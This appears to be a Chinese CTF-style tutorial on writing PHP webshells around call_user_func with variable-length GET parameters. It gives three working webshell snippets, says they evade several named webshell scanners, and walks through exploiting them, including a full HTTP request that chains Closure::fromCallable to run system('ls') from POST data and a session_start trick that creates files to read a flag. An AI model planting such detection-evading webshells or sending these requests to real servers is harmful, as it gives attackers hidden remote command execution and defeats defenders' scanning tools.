目录
一、题目
这里我们通过几道题目来给大家讲解
1.1
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, ...$parameters);
我这里找了几个市面上免费的查杀webshell的软件如安全狗和河马我们先来看看安全狗下面
看看河马
当然,这只是两款免费的webshell查杀工具,当前我们算是绕过了,但如果是花钱买的,这个动态传参多半是可以监控到的,因为用户可以控制,至少免费的绕过了,如何去利用呢,call_user_func老朋友了,回调函数
首先我们看代码里面没有关键词,没有eval,assert这样的函数,首先代码call_user_func后面的...代表接收不定项参数跟我们之前的usort一样,在我之前的文章中有提到过,变长参数
那知道这个点后,我们可以直接变长参数调用,很明显躲过了webshell的查杀,究其原因就是action是system而,...$parameters是接收所有get参数
1.2
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
和之前的webshell不太一样多了一个($_POST['a'])和($_POST['b']),那这个代码怎么利用呢
看看字典,这个又和我们现在这个有什么关系
我们来看看current这个函数,返回当前数组当前值
那我们先这样传值看会报什么错,说少一个参数
打印一下,很明显current打印出来实际上是一个数组
那既然这样我们怎么去处理呢,这个是非常巧妙的current是返回当前数组的元素,也就是当前数组的值current,此时它就从current重新变成了current($_POST[a])($_POST[b]),变成它a是一个数组,b就是你的任意命令
除了这个解法以外还有其他解法没,将普通函数转换为闭包,其实这两个方法整体思路差不多
POST /x.php?action=Closure::fromCallable&0=Closure&1=fromCallable HTTP/1.1
Host: x
a=system&b=ls
而我们也可以看到长亭的牧云webshell社区版也是无法监测出来的
1.3
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
if(count(glob(__DIR__.'/*'))>3){
readfile('flag.txt');
}
?>
底下有个flag.txt我们需要读出来,而必须文件大于3才可以读出来,那我们的目标就是创建文件
我们来看一个函数,启动或重用一个函数
由于我们call_user_func()没有自动传值,所以我们代码自动报错了,它报错给了我们一个很关键的信息,给了我们物理路径
所以我们看起session_start并把sava_path定义成它的物理路径
很明显多出来一个文件,那现在只有三个文件还是不行,肯定我们还想它再执行一个文件,cookie改一下不就可以做到,生成一个新的session文件